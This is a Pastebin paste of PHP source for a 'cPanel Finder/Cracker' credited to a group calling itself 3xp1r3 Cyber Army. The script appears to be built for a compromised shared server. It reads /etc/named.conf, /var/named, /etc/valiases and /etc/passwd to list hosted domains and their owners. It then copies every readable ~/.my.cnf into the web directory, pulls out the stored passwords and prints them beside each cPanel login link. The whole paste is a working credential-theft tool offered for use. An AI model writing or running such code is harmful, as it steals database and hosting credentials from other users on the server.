Advertisement
Guest User

cp

a guest
Jun 30th, 2016
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.23 KB | None | 0 0
  1.  
  2.  
  3. cPanel Cracker | 3xp1r3 Cyber Army
  4.  
  5. ---Red X----
  6.  
  7. <?php
  8. /**
  9. * @author: FaisaL Ahmed aka rEd X
  10. * @mail: me@faialahmed.me
  11. * @Screenshot: http://prntscr.com/7c1p34
  12. * @Last Updated: 01 June 2015
  13. */
  14.  
  15. @ini_set('display_errors',0);
  16. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  17. $ar0=explode($marqueurDebutLien, $text);
  18. $ar1=explode($marqueurFinLien, $ar0[$i]);
  19. return trim($ar1[0]);
  20. }
  21.  
  22. echo '<html><head>
  23. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  24. <meta content="text/html; charset=utf-8">
  25. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  26. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  27. <meta name="author" content="rEd X" />
  28. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  29. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  30. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  31. </head><body>';
  32. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  33.  
  34. echo "<center>";
  35. $d0mains = @file('/etc/named.conf');
  36. $domains = scandir("/var/named");
  37.  
  38. if ($domains or $d0mains)
  39. {
  40. $domains = scandir("/var/named");
  41. if($domains) {
  42. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  43. $count=1;
  44. $dc = 0;
  45. $list = scandir("/var/named");
  46. foreach($list as $domain){
  47. if(strpos($domain,".db")){
  48. $domain = str_replace('.db','',$domain);
  49. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  50. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  51. $path = getcwd();
  52.  
  53. if (is_readable($dirz)) {
  54. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  55. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  56. $password=entre2v2($p,'password="','"');
  57. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  58. $dc++;
  59. }
  60.  
  61. }
  62. }
  63. echo '</table>';
  64. $total = $dc;
  65. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  66. echo '</center>';
  67. }else{
  68. $d0mains = @file('/etc/named.conf');
  69. if($d0mains) {
  70. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  71. $count=1;
  72. $dc = 0;
  73. $mck = array();
  74. foreach($d0mains as $d0main){
  75. if(@eregi('zone',$d0main)){
  76. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  77. flush();
  78. if(strlen(trim($domain[1][0])) >2){
  79. $mck[] = $domain[1][0];
  80. }
  81. }
  82. }
  83. $mck = array_unique($mck);
  84. $usr = array();
  85. $dmn = array();
  86. foreach($mck as $o) {
  87. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  88. $usr[] = $infos['name'];
  89. $dmn[] = $o;
  90. }
  91. array_multisort($usr,$dmn);
  92. $dt = file('/etc/passwd');
  93. $passwd = array();
  94. foreach($dt as $d) {
  95. $r = explode(':',$d);
  96. if(strpos($r[5],'home')) {
  97. $passwd[$r[0]] = $r[5];
  98. }
  99. }
  100. $l=0;
  101. $j=1;
  102. foreach($usr as $r) {
  103. $dirz = '/home/'.$r.'/.my.cnf';
  104. $path = getcwd();
  105. if (is_readable($dirz)) {
  106. copy($dirz, ''.$path.'/'.$r.'.txt');
  107. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  108. $password=entre2v2($p,'password="','"');
  109. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  110. $dc++;
  111. flush();
  112. $l=$l?0:1;
  113. $j++;
  114. }
  115. }
  116. }
  117. echo '</table>';
  118. $total = $dc;
  119. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  120. echo '</center>';
  121.  
  122. }
  123. }else{
  124. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  125. }
  126.  
  127. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  128. echo "</body></html>";
  129. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement